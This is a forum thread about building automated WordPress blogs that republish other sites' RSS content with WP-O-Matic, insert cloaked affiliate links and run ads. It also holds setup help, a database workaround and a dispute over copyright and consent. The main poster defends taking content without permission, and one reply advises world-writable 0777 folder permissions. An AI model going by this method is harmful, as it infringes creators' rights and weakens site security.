          You know, I'm pretty sure I picked up that package at some point, but never got around to testing it, as my combo of free plugins worked and covered all the bases I wanted. Thanks for the reminder though! I'll revisit them and see how they can be used with the method.

          Originally Posted by jbreezy View Post

          is there a random blog roll plugin?
          Yes. Search "Wordpress Random Blog Roll Plugin" on Google.

          Originally Posted by MalachaiGoodman View Post

          I understand where your coming from...

          A while back I started a niche blog and really put my heart and soul into it. If I create a piece of content I generally take great pride in it. I obsess over every word. I want to be as clear as possible.

          The issue was that every time I made a post an annoying Splogger copied it. My blog was young (approximately 3 months old). I was really trying to build momentum. Unfortunately, the Splog always seemed to have a better PR than I did.

          In other words, I did all the work and the Splogger ate my lunch. That got old.

          Eventually I gave up, deleted my site, and let the domain expire. Soon after the Splog went down too. I'm guessing one of the other people he was ripping off got to him.

          In retrospect there's a lot I should have done differently. I should have tried to outlast the splogger, built strong backlinks, and possibly approached Google about the problem. I had little to no understanding of SEO though and honestly felt helpless. I got burned on IM for a long while.

          I can appreciate the difference in what your doing. Only pulling excerpts, providing backlinks, adding value, etc... I'm still not sure how I feel about it, but it's ultimately your business. I can appreciate that you're at least trying to be ethical about your approach.

          ;-)
          Well, understand that Google is in the business of doing exactly this. They index snippets of content, sorted by keywords, and display their own ads on it. I'm just using a narrower set of keywords.

          Imagine your scenario where instead of discovering duplicates of your content, you found that your items had been picked up and linked back to by a slick looking news site that serves your niche. Chances are if you're trying to market to that niche, you PROBABLY would be trying to get your content onto sites like mine anyway.

          Anyway, thanks for the reasoned response there, and I'm glad the extra steps I'm taking (and encouraging others to take) is something that makes sense to you. Thanks for the comments!
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          • Profile picture of the author ericabiz
            Anyone who considers doing this to make money, take note: What you are doing here is most likely illegal. If you have not received explicit permission from the blog author to copy his/her content FOR COMMERCIAL PURPOSES, you are violating the blog owner's copyright.

            Originally Posted by Keith Kogane View Post

            Well, understand that Google is in the business of doing exactly this. They index snippets of content, sorted by keywords, and display their own ads on it. I'm just using a narrower set of keywords.

            Imagine your scenario where instead of discovering duplicates of your content, you found that your items had been picked up and linked back to by a slick looking news site that serves your niche. Chances are if you're trying to market to that niche, you PROBABLY would be trying to get your content onto sites like mine anyway.
            I totally don't agree with this, and I think your reasoning is wrong.

            I am also a blogger. I work hard at blogging, and I, too, have had my blog copied by sploggers (who are in the same business you are.)

            To me, this business model is no better than spam. It's shady and it should frankly be banned by search engines.

            Here is how YOU are different from Google:

            1) Google respects robots.txt. YOU do not.
            2) Google seeks permission from site owners before indexing (via robots.txt, etc.) YOU do not.
            3) Google does not put ads IN the content. They clearly delineate what is an ad and what isn't. Take a look at any search result page and you will see the ads are over on the far right in their own boxes. YOU put ads in the content.
            4) Google takes a 160-character snippet. YOU freely admit to taking full RSS feeds and republishing them. Then you shrug it off when someone calls you on it -- and say that if someone publishes a full RSS feed, you have the right to republish it with ads!!!!! SAYS WHO?

            If you are getting permission from every blog owner before you do this, and showing them your blog URL in your request for permission, then you have a pass. If you don't, then shame on you. This is a scummy business model.

            I know I'm being harsh, but I also know a LOT of people who make a living from blogging, and this sort of stuff to blogging is what spam is to email.

            There are plenty of legitimate ways to make money online. Why resort to stealing others' content without permission?

            -Erica

            P.S. For those of you who are considering this, here is a copyright primer. Remember the default copyright of ANY blog is "All rights reserved". Seek explicit permission and explain that you will be using the content for commercial use before grabbing any RSS feed.

            Copyright primer: http://www.dailyblogtips.com/copyrig...dos-and-donts/

            BLOGGERS: Protect your blog and avoid copyright theft!
            http://www.lostartofblogging.com/pro...pyright-thefts
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            • Profile picture of the author Keith Kogane
              Originally Posted by Ouroboros View Post

              This is a great thread, I just read it from start to finish, lots of good information. I found a use for the wp-o-matic plugin already!

              Has anyone found a workaround to get it to work with google news? I've got hostgator with php5 and can't seem to get it to work with google. I did a fetch and returned 0 feeds.

              It works good with a newspaper feed and another feed I tested (although the theme I was using make it look like shit). I'm only semi-tech literate so I could use some help.

              Steve

              (btw...Thanks Keith!)
              Thanks, Steve. Glad you like it!

              Originally Posted by ericabiz View Post

              I totally don't agree with this, and I think your reasoning is wrong.
              Agree to disagree.

              Originally Posted by ericabiz View Post

              I am also a blogger.
              Me too.

              Originally Posted by ericabiz View Post

              I work hard at blogging,
              Me too. I've spent a year developing this system. Admittedly, I'm lazy, and probably work less hard than you. That's probably part of why you're upset.

              Originally Posted by ericabiz View Post

              and I, too, have had my blog copied by sploggers (who are in the same business you are.)
              That sucks to be ripped off. However, sploggers are not in the same business I am. I'm not stealing content solely in order to place my own ads on it. I take great pride in engineering my sites to be useful to the niches they server. I'm not just making search engine fodder here. RSS stuff isn't my sole source for content either. I use articles, PLR, even some original stuff if I know enough about the niche.

              Originally Posted by ericabiz View Post

              To me, this business model is no better than spam. It's shady and it should frankly be banned by search engines.
              The first statement is an opinion, and that's fine. I agree that splogging is no better than spam. I don't think I'm splogging, and my model can be used ethically or not. It's up to the user. Your second statement doesn't really make sense because the search engines can't ban anything I do on my own site. They can choose to index me or not, but they can't "ban" me. And why would they? I make good sites that I design to be relevant to searchers.

              Originally Posted by ericabiz View Post

              Here is how YOU are different from Google:

              1) Google respects robots.txt. YOU do not.
              Google assumes you DO want them to index your content. If you don't, you need to take a special action. Most sites that CRAWL other sites will tell you you need to put an exception for the user string in your robots.txt. In other words, you have to explicitly say no to that specific site. I'm not crawling, and you're right, I don't look at robots.txt, but if anyone ever told me not to post sippets from them and link back, I would. No one ever has. I use pingbacks on every single feed that I publish. If I run your stuff, I'm letting you know via that pingback. If someone wrote an RSS aggregator plugin that sniffed at robots.txt or used Feed Access Control from Bloglines, I'd use that. They don't have one though, so I use what's available.

              As part of my expansion of this writeup for the report I'm making, I'm also developing methods for augmenting the RSS snippets with original content within the same post. If I could do that and somehow get the plugin to only re-link my own content rather than that in the snippet, I'd do that, too.

              Originally Posted by ericabiz View Post

              2) Google seems permission from site owners before indexing (via robots.txt, etc.) YOU do not.
              Google does NOT seek permission. You can be proactive in telling them no, but they don't ask permission.

              Originally Posted by ericabiz View Post

              3) Google does not put ads IN the content. They clearly delineate what is an ad and what isn't. Take a look at any search result page and you will see the ads are over on the far right in their own boxes. YOU put ads in the content.
              That's an assumption. You've never seen any of my blogs. You don't know where I put my ads. If you mean the links I put inline in the content, I'm linking to products and services that are actually relevant to those keywords. It's unobtrusive and the user can click or not. Does the fact that it's an affiliate link make it an "ad" even though the context isn't changed at all? I don't think so. You probably disagree, but that's fine.

              Originally Posted by ericabiz View Post

              4) Google takes a 160-character snippet. YOU freely admit to taking full RSS feeds and republishing them. Then you shrug it off when someone calls you on it -- and say that if someone publishes a full RSS feed, you have the right to republish it with ads!!!!! SAYS WHO?
              First, you're misquoting me. I never said I had a right to that. I said "I figure" it's okay, which is clearly an assumption on my part. That's why I said it that way. Of course that's no different that Google assuming I want my site crawled unless I say no. It's out there, and it's available through many other means (like the places I find my content) so it's not a completely crazy assumption.

              Now, onto my ACTUAL content strategy so I can clarify it for you. First, I usually only publish excerpts. It's longer than Google's snippets, but I also don't have a massive database of every single word on your website like they do. I'm only pulling what's already being pushed to the outside world. Also be aware that I use feed aggregators to find content, so I'm not grabbing anything that the publisher isn't actively trying to spread.

              Even then, I do NOT republish every single item from any given site. I try to get enough resources coming in so that I'm only pulling from smaller sources once every couple of weeks. If it IS from a blog, that blog's also in my blogroll.

              When I DO run full content, I get it from places that are publishing full feeds explicitly for republication, like article directory sites, or PLR/royalty free content sources.

              Also, you seem to think I only republish the content of other bloggers. That's inaccurate as well. I link to news sites, forums, social sites, etc. I'm not victimizing anyone. I'm not taking anything away from anyone. Nothing the individual site owner is doing is minimized or diminished in any way by what I'm doing. If anything, they're aided by what I do, as is the end user.

              Originally Posted by ericabiz View Post

              If you are getting permission from every blog owner before you do this, and showing them your blog URL in your request for permission, then you have a pass. If you don't, then shame on you. This is a scummy business model.
              Yes, yes. Shame on me! I can practically see you wagging your finger! I don't ask permission. I don't intend to start, either. Do with that what you will.

              The news doesn't need to ask permission to cover items of note. The networks also sell advertising on top of that content, don't they? I simply collect items of note in a niche and republish snippets, and link back to the source with full credit. I think you're confusing what I do (and what I encourage others to do) with more blackhat scraping practices.

              Originally Posted by ericabiz View Post

              I know I'm being harsh, but I also know a LOT of people who make a living from blogging, and this sort of stuff to blogging is what spam is to email.
              I disagree. How is this anything like what spam is to email? Whose resources am I wasting? What laws am I violating? (Not copyright - see fair use) The strategy of the spammer is a game of statistics. Millions of emails or millions of pages. Response rates are extremely low, but they profit because of sheer numbers. I'm actually trying to gather relevant content and actually put it in front of people that are looking for it. I don't make anyone look at my blogs if they don't want to.

              Originally Posted by ericabiz View Post

              There are plenty of legitimate ways to make money online. Why resort to stealing others' content without permission?
              I understand you're mad, but I really don't think you're mad at me. You admit to having been victimized by actual bad guys, and I feel bad for you, I really do. But I think your misplaced anger is coloring your perception.

              You clearly haven't read what it is I actually do, and you've never seen any of my blogs, so you're making a lot of assumptions based on a very simplified explanation of the model. You've never actually seen the implementation, so you don't know what you don't know.

              The internet is very much a self-referential medium. Making a website about other websites is a completely legitimate practice, especially if the niche would be served by it. It's no less legitimate than what Google does (create a billion dollar business by piggybacking on other people's content). What's the difference here? You want Google to do it, but not me? Why? Because they send you traffic? I do my best to do that too. Is it that they provide value to the user by sorting the web according to relevance? That's all I'm doing, just on a smaller scale. And I don't even spider anything. I just take feeds that are already being pushed out there.

              I think what I do protrudes into the exact same gray area that you dip into by having affiliate links all over your blog without any kind of affiliate relationship disclosure statements.

              You suggest gifts for people to buy for their loved ones, but you don't clearly say that you'll be compensated if they take your suggestions! Who said you have the right to do that!!!??? Shame on you!!!

              See, that's just silly. If you want to criticize the method, ask some questions and lets talk about it. I don't know why you had to go for the personal attack. "Shame", "shady", "spammer" - thanks. Really. Thanks. Made my day.

              To add to what Erica posted above, here's a relevant bit from the same site she linked to: "2. Do quote something you find interesting: the Copyright Act defines that short quotations for the purpose of criticism, commentary or news reporting are considered "fair use". Notice that the quote should involve only a small portion of the work, and it should not replicate the "heart" of the material."

              I agree with her that you should do your own due diligence when sourcing material, much as Paul Meyers very nicely stated earlier in the thread. Thanks for your contribution, Erica!

              Also, I want to add - for anyone scared by what Erica said above, just write your own content or seek permission as she suggests. But don't ask her, I don't think she'll say yes. Everything else in my method is solid and works with ANY content. So if you don't want to pull RSS feeds to produce content, get some somewhere else and use the "SEO Smart Links" plugin instead of WP-O-Matic and do everything else exactly the same.

              Or you can use something like Content Boss or WordPress Direct. I haven't tried those yet, so your mileage may vary. But the point is, RSS feeds are NOT the only source for content, they're just what I'm using with my current method.
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    • Profile picture of the author vicone
      WordPress Direct looks really promising. From their website it appears they have 1500 themes available. Their version of WP can be set up on your own self-hosted account that draws content from links to their system. A few details from WordDirect.com

      No More Duplicate Content . . . WordPress Direct scours the internet for topic-specific video, audio and article content and automatically combines it on your site to create a truly unique visitor experience.

      No More PRESSURE to Update Your Site Daily. . . Simply click a few buttons and WordPress Direct will update your site as often or as rarely as you'd like.
      I couldn't find a pricing structure but they offer a free membership which allows you to set up 3 free WP websites. They have different levels of membership with different levels of service provided.

      Anyone know how good the service is and how much it costs?

      Ivan
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  • Profile picture of the author Vshep
    I was testing WP-o-Matic to grab the feeds and replace the words with links and so on. The trouble started when I also started to include a "Go to source" in the Custom post template section and had WP-o-Matic set up to auto link to the source. This was fine for the most part till one of the words I set up a relink for was ALSO in the source address for the RSS feed.

    I went from a nice "Go to Source" link that worked to something that looks like this:

    NFL/news/story?id=3723327&campaign=rss&source=NFLHeadlines" >Go to Source

    Seems the re-linker also works on the out put of the Custom post template box.

    Here is how I fixed, well worked around it would be the better term. The Cross-linker plug in listed earlier in the thread. The down side is that you cant set it per Campaign, it seems to be site wide or nothing for the most part. On the plus side it works on both the old and new posts. WP-o-Matic only works for the posts fetched AFTER you add a relink word to the Campaign. So its a toss up.

    Anyway hoped it helped someone.
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  • Profile picture of the author jbreezy
    is there a random blog roll plugin?
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  • Profile picture of the author Allegro
    haha i had the same thing with my links (that the url gets ****ed up)... also, dont keyword the trigger for gocodes, else the gocodes url will be posted with the keyword linked rofl...

    i think i will use that blog to toy around with the tools and to experiment and take a more serious approach on the next blog i create... i think im going to do one blog a week - one blog per weekend starting in december or january...
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    Banned
    Very Good!
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  • Profile picture of the author jbreezy
    I installed the Random Blog Roll plugin and it seems like nothing is happening. It says it works off the OMPL feeds.. So shouldn't it randomly generate links so that my site looks more organic?
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    • Profile picture of the author Alminc

      "Image cache path /home/knock4/public_html/forexreviewtoday/wp-content/plugins/wp-o-matic/cache is not writable!"

      Just create the folder 'cache' within your wpomatic folder using your ftp client program. Then chmod it to '0777'.

      Wpomatic does not create that folder, you must do it yourself.
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      • Profile picture of the author jbreezy
        Alminc I appreciate the help. Can you explain a little more about how to chmod something using filezilla.

        thanks!
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      • Profile picture of the author Mrs S
        Originally Posted by Alminc View Post

        Just create the folder 'cache' within your wpomatic folder using your ftp client program. Then chmod it to '0777'.

        Wpomatic does not create that folder, you must do it yourself.
        Thanks for posting this as it's where I came unstuck. Would be useful if they included that little tip on their help page!
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  • Thanks for sharing Keith

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  • Profile picture of the author Doug Simons
    Thanks for the business model
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  • Profile picture of the author Allegro
    right-click modes, then type 777 into the field
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    ok cool thanks guys!
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  • Profile picture of the author georgeslater
    Hi Keith

    Just a thought, do these sites look nice? Are they the type of sites that one could sell on Ebay and "Established".

    Great Post
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  • Profile picture of the author Evita
    I'd love to give a BIG Thanks Giving Thanks to Keith,
    and all who have contributed and shared their knowledge on this thread.

    The Warrior Forum, and Warriors are just the best!!

    Evita
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    • Profile picture of the author trieke
      thanks Keith,

      this sounds pretty interesting and easy to setup. I am going to get a give it a try and see what happens.

      From what i read it's all about volume and a large number of sites, but as a test what would you consider good results on a single site? An average of a $1 per day revenue?

      Do you have any ballpark stats on how much revenue is coming from Adsense versus affiliate links?

      take care and thanks again for this great info
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      • Profile picture of the author Keith Kogane
        Originally Posted by georgeslater View Post

        Hi Keith

        Just a thought, do these sites look nice? Are they the type of sites that one could sell on Ebay and "Established".

        Great Post
        They look as nice as the theme you pick, and the content is as good as the sources you choose. Yeah, it's very easy to make a site that's good enough to sell. You can make them even more complex and realistic by using not just my WP-O-Matic suggestions, but mixing in some of the other automated content methods myself and others have mentioned here.

        Originally Posted by Evita View Post

        I'd love to give a BIG Thanks Giving Thanks to Keith,
        and all who have contributed and shared their knowledge on this thread.

        The Warrior Forum, and Warriors are just the best!!

        Evita
        You're very welcome!

        Originally Posted by Allegro View Post

        ok keith, what do you think about running this sites without adsense? as in my current thread posted, adsense wont let me in (****ers). thats kinda sad because i think alot of revenue comes from adsense, but i wonder how good a completely textlink based model would work...
        Yeah, you can make money lots of different ways with sites like this. See my original post for other monetization techniques. I heavily recommend affiliate sales, as it's very easy to work into the content, and will make more money than ad publishing anyway. It's a little more work, but I think it's worth it.

        Originally Posted by trieke View Post

        thanks Keith,

        this sounds pretty interesting and easy to setup. I am going to get a give it a try and see what happens.

        From what i read it's all about volume and a large number of sites, but as a test what would you consider good results on a single site? An average of a $1 per day revenue?

        Do you have any ballpark stats on how much revenue is coming from Adsense versus affiliate links?

        take care and thanks again for this great info
        Unfortunately, I am terrible at tracking performance. There's a post earlier in this thread where I talk about numbers, and that's about as detailed as I get. Someone else calculated that it's about $1 per day per site, so yeah, that's a good estimation. However, it would probably be better than that in the hands of someone who wanted to work more heavily with a single blog. I'm easily bored/distracted, and often, rather than look at a site and measure and improve and all that, I just go make another site.

        It's not strictly a numbers game, but that's the lazy, least effort way to do it. If you wanted to hustle, you could churn these out and sell them or sell ads on them and make a ton more. Seriously, once you get the hang of it, setting these up takes less than an hour, and you see post after post here of people selling dinky nothing sites for at least $100. $100 an hour sounds pretty good to me.

        (Keep in mind that doesn't take into account that there are enough buyers for as many sites as you could make, but if it doesn't sell, keep it, tweak it, leave it alone for a while. If it improves, try selling it again later.

        Anyway, hope that helps!
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  • Profile picture of the author Allegro
    ok keith, what do you think about running this sites without adsense? as in my current thread posted, adsense wont let me in (****ers). thats kinda sad because i think alot of revenue comes from adsense, but i wonder how good a completely textlink based model would work...
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  • Profile picture of the author bobmcalister
    dotnknow if this will help anyone but seems to be along the lines of rss feeds info....it is not an affiliate link

    http://rss2.com/
    free rss feeds combobulator
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    • Profile picture of the author Keith Kogane
      Originally Posted by vicone View Post

      For those interested in using Wordpress Direct as a means of setting up their blogs, there is a more extensive discussion of WPD on another thread in this forum. You can view it here:

      http://www.warriorforum.com/internet...-has-used.html

      Ivan
      You know, I wonder if anyone could develop a business around using this method to create customized feeds (content) for customers. I'm not sure how WPD's software is set up, but I can see very easily using this method strictly to sell custom content to others. Someone do it!

      Originally Posted by Kamran View Post

      Thanks a lot for sharing your technique. I have a question:
      How much can you expect from such blogs and what is the time frame?
      It depends on how you monetize and what niche you choose. With the default method I listed, if you pick good niches and find good content, you'll do pretty good with 50 or so blogs. If you try more agressive and more profitable strategies like selling ads directly or flipping/rehabbing the sites themselves, you'd make quite a bit more.

      Originally Posted by bobmcalister View Post

      dotnknow if this will help anyone but seems to be along the lines of rss feeds info....it is not an affiliate link

      RSS2.com - All the Best RSS Feeds For Your Guilt-Free Reading and Enjoyment
      free rss feeds combobulator
      Bob, that appears to be a site that uses a strategy identical to mine, generally speaking. They just pull and republish feeds from many sites. You could actually add your own feeds to that site as well. This is what I mean when I say to submit your feed to every site you can find. If you give them your content and they republish it, you get backlinks and traffic. Make sense?

      Thanks for the comments, all!
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  • Profile picture of the author Ouroboros
    This is a great thread, I just read it from start to finish, lots of good information. I found a use for the wp-o-matic plugin already!

    Has anyone found a workaround to get it to work with google news? I've got hostgator with php5 and can't seem to get it to work with google. I did a fetch and returned 0 feeds.

    It works good with a newspaper feed and another feed I tested (although the theme I was using make it look like shit). I'm only semi-tech literate so I could use some help.

    Steve

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  • Profile picture of the author jbreezy
    I don't think my posts are loading automatically. My feeds just say "Next" but I have to automatically fetch them. Any ideas?

    Plus I'm getting a lot of mini feeds that aren't the full blog post from the feed. Has anyone figured out a way around this? If not, how can you tell if an RSS feed will give you access to the whole feed?
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  • Profile picture of the author Allegro
    just take a look at the feed?!
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  • Profile picture of the author Ouroboros
    If you have an account with Yahoo or gmail, you already have an aggregator.

    Just post the feed into your aggregator and look at it before you add it to you site.

    My question got hijacked, has anyone figured out how to get the google news feed to display properly?

    Steve
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    • Profile picture of the author Keith Kogane
      Originally Posted by Ouroboros View Post

      If you have an account with Yahoo or gmail, you already have an aggregator.

      Just post the feed into your aggregator and look at it before you add it to you site.

      My question got hijacked, has anyone figured out how to get the google news feed to display properly?

      Steve
      Hey Steve

      They display fine for me, but a number of people who use WP-O-Matic have had trouble with it. It has to do with the way Google News format their feeds. Perhaps try a different theme. If that doesn't work, you can try maybe using a Google News Alert - that may display differently. Another tip, make sure to sort Goolgle news by date instead of relevance, so you get the content in the order it's published.

      Hope that helps, and sorry you're having trouble. I've seen on the WP-O-Matic support site that GNews is a common problem, but I've never dug for a solution because it works okay for me. You might find some help there though.

      Also, sorry your question got sidetracked!
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  • Profile picture of the author Ouroboros
    No Problem Keith, not your fault...

    I found a workaround and got the google news feed to work after going to the authors site and then studying the help tickets!

    What version of wp-o-matic are you using? Mine is 1.0RC4. Bug might have shown up in a later version.

    If anyone is interested in the fix, I'll document it here, but it's a little involved for most so I'll wait and see if anyone else wants it.

    Thanks again for the thread,
    Steve
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    • Profile picture of the author David Spyres
      Originally Posted by Ouroboros View Post

      No Problem Keith, not your fault...

      I found a workaround and got the google news feed to work after going to the authors site and then studying the help tickets!

      What version of wp-o-matic are you using? Mine is 1.0RC4. Bug might have shown up in a later version.

      If anyone is interested in the fix, I'll document it here, but it's a little involved for most so I'll wait and see if anyone else wants it.

      Thanks again for the thread,
      Steve
      Steve ... yes please post your fix!!

      Thanks ;-)
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  • Profile picture of the author Giraffe-SEO
    Wow! Great post Keith. Can't wait to try it out.

    Cheers

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  • Profile picture of the author Paul Wilson
    Hi,

    have got Gocodes and wp o matic set up - have tested by typing mydomain/go/keyword and that works (it rediects to affsite) but my keywords aren't showing up as being linked on the blog. Where am I going wrong???

    Thanks,

    Paul.
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    • Profile picture of the author Keith Kogane
      Originally Posted by Paul Wilson View Post

      Hi,

      have got Gocodes and wp o matic set up - have tested by typing mydomain/go/keyword and that works (it rediects to affsite) but my keywords aren't showing up as being linked on the blog. Where am I going wrong???

      Thanks,

      Paul.
      When you set up the rewrites in WP-O-Matic's campaigns area, make sure you set the word to be rewritten as the same word along with the relink. I never though to specify that, because I always do it that way, but jbreezy had the same problem and that appeared to fix it. So basically you tell it to find "widget", replace it with "widget" and then link it to "yourblog.com/go/widget" (or something like that - I'm writing from memory).

      Try that and see how it does.

      Also be aware that the relinking will only happen on posts that occur after you make the settings changes. It won't go back and re-do old posts.

      Hope that helps!
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      • Profile picture of the author Paul Wilson
        Keith,
        thanks for the reply I'"ll keep playing around with the kw and let you know how I get on.

        If and when you put a product together screen shots showing the wpo page next to the gocodes page would really help.

        Paul.
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  • Profile picture of the author Ouroboros
    David,

    Keith and I agree that this is a little involved for most, but if you're pretty familiar with cPanel it's not a big deal.

    * Set up your campaign in WP-o-Matic as usual
    * Copy the URL of the feed into your clipboard (ctrl-c)
    * Determine which mysql database is being used for that installation of wordpress. You can find it in your wp-config.php file if you let fantastico set it up.
    * Go to phpMyAdmin in your cPanel, open it and find the database
    * Click on the database, we'll call it _wrdp1(17)
    * Wp-o-matic appends some extra files onto the database, we're looking for wp_wpo_campaign_feed. Click on the icon for 'browse' and you'll see the campaign_id, url, title, description, etc. You're interested in the url.
    * Click on the little pencil (edit) icon.
    * Go to the url field, delete the url and copy (ctrl-v) the url you saved to the clipboard earlier.
    * Hit go and you're done!

    Close all that stuff and you'll probably have to go back to the Wp-o-Matic dashboard and 'fetch' your feed to get it the first time.

    Characters like <, >, and & have to be escaped (&amp to be validated and read by the agregators and WPOM adds those to the database. For whatever reason, it wants them left alone when it gets ready to read them?

    I'm not saying it's a perfect solution, but it's worked on every feed I've tried. And no, I didn't figure it out, I found it in the plugin author's help desk at Overview - WP-o-Matic - wpomatic .

    Hope that helps,
    Steve

    DISCLAIMER: If you don't know what you're doing, don't even think about trying this!
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  • Profile picture of the author Peter Johnston
    Many thanks for that. I am creating a new blog right now so I'm going to implement some if not all of these techniques. I'll let you know how it goes.
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    • Profile picture of the author Ouroboros
      Keith,

      Something I'm not clear on yet is the rewrite function in WPOM. Let's say I want to link 'wordpress' to http:whatever. I would use wordpress as the origin, then rewrite it to 'wordpress' and then re-link it to 'http:cloakedsite'?

      I understand that I need to add that middle step so the link will show, right?

      Then is the rewrite and the relink only active for text within that campaign or is it global for the site?

      Thanks,
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      • Profile picture of the author Keith Kogane
        Originally Posted by Ouroboros View Post

        Keith,

        Something I'm not clear on yet is the rewrite function in WPOM. Let's say I want to link 'wordpress' to http:whatever. I would use wordpress as the origin, then rewrite it to 'wordpress' and then re-link it to 'http:cloakedsite'?

        I understand that I need to add that middle step so the link will show, right?

        Then is the rewrite and the relink only active for text within that campaign or is it global for the site?

        Thanks,
        Steve
        That's the way it works, yes. The rewrites through WP-O-Matic are tied to the campaign they're set up in. That's actually better than having it be global across the site, in my opinion, as it gives you more control. Also, it actually enters those links into your database along with the post.

        Other plugins, like SEO Smart Links will do the relinking globally, but it does it dynamically at the time the page loads, and those links aren't actually in the post content. In my testing, the links DO end up in your feed, though.

        I prefer the WP-O-Matic feature, but by all means, use what works best for you!
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  • Profile picture of the author Ouroboros
    AHHHH! WOPM hard codes the links into the posts so they ride along with the Rss feed and the others don't?

    This gets more interesting by the minute (post).

    I'm getting it slowly...

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    • Profile picture of the author The 13th Warrior
      Possibly War Room material??

      The 13 th Warrior
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  • Profile picture of the author Allegro
    hahaha im laughing so hard right now. as i told a couple posts back, im going to use my first blog with this method as testing grounds. and now i got a pingback from another automated page who uses my content... thats so damn funny, i get even a backlink from them.
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    • Profile picture of the author Keith Kogane
      Originally Posted by Allegro View Post

      hahaha im laughing so hard right now. as i told a couple posts back, im going to use my first blog with this method as testing grounds. and now i got a pingback from another automated page who uses my content... thats so damn funny, i get even a backlink from them.
      That's awesome! Told you it works!
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      • Profile picture of the author Alminc
        Keith,

        I've tried to get articles from Google News.

        I did a search for my keywords and a lot of articles
        were returned.

        Then I picked the rss feed and entered it into wpomatic
        but when I do the 'Fetch' I got this message:

        'Campaign processed. 0 posts fetched'


        I can fetch articles from other feeds but Google News
        returns zero articles.

        Am I missing something obvious ? What to do?

        Almin
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  • Profile picture of the author nikhilg
    Hi Keith,

    Went through your post but it was all over my head and I could not understand as I have never worked with wordpress before. Does your method have anything in common with Brian Johnson's SEO Press. I have purchased that package but am yet to go through it.

    When I do finally get my wordpress blog going I will be referring to your thread often as it seems to give concise instructions which have worked for you.

    Thanks for sharing your insights.

    regards

    Nikhil
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    • Profile picture of the author Keith Kogane
      Originally Posted by vicone View Post

      Keith, thanks for your response. When you say that the RSS sites that are submitted to require filling out forms and registering with them - is this something that needs to be done just the once or do they need to be contacted more frequently?

      In other words, if I have 200 rss sites to contact for a particular blog, do I have to go back to them with reminders or is it sufficient to just contact them every time I want to register a new blog with them?
      Yes, that's right. You simply submit your blogs once and move on. I have a spreadsheet checklist with a grid of all my blogs and all my submission sites, and I just mark off which blogs I've submitted where.

      Originally Posted by vicone View Post

      Also, is there a short-list of 'must-have' RSS sites to register with?
      I'm trying to work one up for my report. The problem is, I've never differentiated or measured results for my list of sites, so I really don't know which are better than others. I'll do my best to get a "top 10" by next week though.

      Originally Posted by vicone View Post

      Is there a level of content a new site should have reached before submitting to these RSS sites, for instance a minimum of 10 posts?
      By the time I've got the blog working the way I want, with consistently relevant content with a nice layout and a good publishing schedule, the blog will have about a week's worth of content already in it, so I've never much worried about that. (Note, these DO take just an hour to set up initially, but you'll want to check in every so often after you set it up to make sure you're not getting irrelevant content or screwy formatting from the feeds you initially choose - any modifications at this point take mere minutes).

      Originally Posted by vicone View Post

      I had a look at the sales page for Auto Social Poster plug in - indicates that it costs over $100. Does anyone know something similar that is cheaper or free?
      I don't know of anything free that will do what this plugin does. It's a pretty complex mechanism. However, once you get a blog that's worth promoting in this way, it's a no brainer that you should get the plugin.

      Looking at the site now though, they have a variety of licensing options. I must have an older version of the plugin (for Wordpress 2.1) - I don't think mine is limited as far as number of bookmarks, etc. Also, I'd definitely only use ASP on original posts (or at least long form PLR articles rather than snippets). That being said, any of their available licenses is probably PLENTY for anybody.

      Originally Posted by nikhilg View Post

      Hi Keith,

      Went through your post but it was all over my head and I could not understand as I have never worked with wordpress before. Does your method have anything in common with Brian Johnson's SEO Press. I have purchased that package but am yet to go through it.

      When I do finally get my wordpress blog going I will be referring to your thread often as it seems to give concise instructions which have worked for you.

      Thanks for sharing your insights.

      regards

      Nikhil
      Hi Nikhil,

      Glad you liked my method, and thanks for your kind words.

      I'm not familiar with Brian Johnson's product, so I can't say if it has anything in common or not (I'll check it out sometime though, so thanks for the recommendation). However, you're not going to get much out of my method until you become familiar with at least the basics of WordPress and using it with plugins.

      The expanded tutorial I'm working on (hopefully for release next week) assumes that you can get WordPress and the plugins installed on your own. I hope to be able to recommend a few beginner resources for newbies unfamiliar with WordPress, but I need to do more research, as I've been using WP for a number of years and am self-taught with the tutorials at WordPress.org.

      P.S. If anyone has any recommendations of WordPress courses for beginners, please let me know your experiences via PM.
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  • Profile picture of the author jbreezy
    Has anyone had any luck embedding youtube and other video's with WP-O-Matic?
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  • Profile picture of the author dalvia
    Hey Everyone,

    I have been reading and taking notes on this post. I have done a similar thing in the past but just with adsense, I noticed everyone is having a bit of trouble with a few key areas,

    If you let me know what they are I might be able to get my programmer to explain them in plain English,

    Here are the common ones I have read on this thread-

    - Getting wp-o-matic to work
    - setting up crons in cpanel
    - using gocodes with affiliate links,

    Have a missed anything,
    D

    Most here know how to set up a wordpress blog using fantastico I think
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  • Profile picture of the author bubbavine
    I know this is the lazy approach to getting a question answered.. but this thread is so long and I have to run (will check answers tonight)..

    Using this method - does it matter if you if you build your blogs (webpages) around a .com or .info (only .99)... since from what I've read so far you really aren't counting on generic seo traffic ( I think I'm right in saying that)..

    Didn't know if it mattered if/when you decided to sale/flip the site????
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  • Profile picture of the author wealthmaker2008
    Hey Keith thanks a lot for all the great information. I am going to put this all together in the next hour. I will let you know how it works out.
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    • Profile picture of the author Keith Kogane
      Originally Posted by vicone View Post

      Keith wrote:

      One of the best, which is getting rave reviews, is a WSO by Amy Bass. It's called The Niche Blogger.

      Although it offers an alternative business model to the one described here, the systems could be used in a complementary way and the early part of her course goes into detail about the set up procedures.

      Ivan
      Thanks for the recommendation, Ivan. I'll be sure to check that one out.

      Originally Posted by vicone View Post

      An alternative to the plugin Auto Social Poster could be BookMarking Demon, which is a desktop application that has been getting excellent reviews in another thread on this forum.

      http://www.warriorforum.com/internet...-demon-v4.html

      It is half the price of Auto Social Poster but is due to double in price when vs 4 is released (currently in beta).

      For a direct link with more details (not an affiliate link):

      Social Bookmarking Software, Social Bookmarking Tool

      Another way of doing it is to use Post Toaster, which is free and web-based, and to use RoboForm to insert details into the forms. The link for Post toaster is:

      Social Bookmarking Service & Web Tool Speeds Up the Bookmarking Process | Post Toaster

      Ivan
      Thanks AGAIN, Ivan! I'll check that out too!

      Originally Posted by dalvia View Post

      Hey Everyone,

      I have been reading and taking notes on this post. I have done a similar thing in the past but just with adsense, I noticed everyone is having a bit of trouble with a few key areas,

      If you let me know what they are I might be able to get my programmer to explain them in plain English,

      Here are the common ones I have read on this thread-

      - Getting wp-o-matic to work
      - setting up crons in cpanel
      - using gocodes with affiliate links,

      Have a missed anything,
      D

      Most here know how to set up a wordpress blog using fantastico I think
